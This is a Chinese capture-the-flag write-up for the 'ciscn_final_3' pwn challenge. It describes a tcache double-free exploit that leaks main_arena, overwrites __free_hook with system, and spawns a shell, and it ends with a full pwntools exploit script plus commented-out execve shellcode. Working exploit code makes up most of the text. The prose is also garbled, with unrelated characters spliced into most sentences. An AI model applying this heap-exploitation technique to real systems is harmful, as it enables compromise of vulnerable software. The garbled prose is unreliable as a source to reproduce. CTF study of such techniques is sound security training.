-
首先拿到題之后檢查防護(hù)情況
果然。喉祭。全開,無(wú)GOT可改,優(yōu)先考慮__free_hook和__malloc_hook
-
查看程序功能發(fā)現(xiàn)漏洞點(diǎn)
兩個(gè)簡(jiǎn)單功能愤惰,增刪,沒有打幼咐怼(心開始發(fā)涼
add功能無(wú)漏洞點(diǎn)宦言,每次分配后打印分配的地址,但注意size大小限制商模,不能進(jìn)入unsorted bin(一般思路:堆地址需要unsorted泄露找到main_arean地址奠旺,繼而根據(jù)相對(duì)偏移找到__free_hook地址
remove功能發(fā)現(xiàn)double free,環(huán)境為ubuntu 18施流,有tcache機(jī)制响疚,構(gòu)造更加方便
好了,現(xiàn)在總結(jié)以下可利用的點(diǎn):
- 堆地址泄露
- double free(tcache 更是可以指向任意地址
解題關(guān)鍵在于將下一次空閑tcache的fd指向哪一塊區(qū)域瞪醋,繼而malloc獲取該地址
還是要從堆地址入手;!
查看運(yùn)行時(shí)堆情況趟章,在我們自己申請(qǐng)的堆上面有兩個(gè)大的堆塊(C++cin/cout的堆杏糙?
上面兩個(gè)free會(huì)進(jìn)入unsorted bin,所以大概思路是
- 構(gòu)造第一次 dub free蚓土,使第三次申請(qǐng)會(huì)申請(qǐng)到0x8403250
- 申請(qǐng)到0x8403250后釋放宏侍,會(huì)進(jìn)入unsorted bin,構(gòu)造第二次dub free泄露main_arean地址(地址為0x8403250的chunk進(jìn)入unsorted bin后fd與main_arean相關(guān)蜀漆,第四次申請(qǐng)得到main_arean+56地址
- 根據(jù)偏移得到__free_hook地址谅河,更改為system,free一個(gè)內(nèi)容為"/bin/sh\x00"的堆塊确丢,觸發(fā)
坑:本來(lái)打算__free_hook劫持到堆上構(gòu)造的shellcode绷耍,不使用給的libc庫(kù),不通鲜侥。褂始。
需要vmmap查看heap執(zhí)行權(quán)限
完整exp:
from pwn import *
#context.log_level = 'debug'
sh = process('./ciscn_final_3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64')
def add(index, size, content):
sh.sendline('1')
sh.sendlineafter('index', str(index))
sh.sendlineafter('size', str(size))
sh.sendlineafter('thing', content)
sh.recvuntil('gift :')
return int(sh.recv(14), 16)
def remove(index):
sh.sendline('2')
sh.sendlineafter('index', str(index))
sh.recvuntil('choice >')
#sc='\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
#sc = asm(
'''
xor rdi,rdi
push rdi
push rdi
pop rsi
pop rdx
mov rdi,0x68732f6e69622f2f
shr rdi,0x08
push rdi
push rsp
pop rdi
push 0x3b
pop rax
syscall
'''
sh_addr = add(0 ,0x56, "/bin/sh\x00")
log.success("sh_addr: "+hex(sh_addr))
cout_addr = sh_addr-0x11c10
log.success("cout_heap: "+hex(cout_addr))
add(1, 0x10, 'a')
remove(1)
remove(1)
add(2,0x10,p64(cout_addr))
add(3,0x10,'a')
add(4,0x10, 'chunk')
add(5,0x20,'a')
remove(4)
remove(5)
remove(5)
add(6,0x20,p64(cout_addr))
add(7,0x20,'a')
add(8,0x20,'a')
main_area = add(9,0x20,'main_area')
free_hook = main_area+0x1c48
log.success("main_area: "+hex(main_area))
log.success("free_hook: "+hex(free_hook))
system_addr=free_hook-libc.sym['__free_hook']+libc.sym['system']
log.success("system: "+hex(system_addr))
add(10,0x30,'10')
remove(10)
remove(10)
add(11,0x30,p64(free_hook))
add(12,0x30,'12')
add(13,0x30,p64(system_addr))
remove(0)
#gdb.attach(sh)
sh.interactive()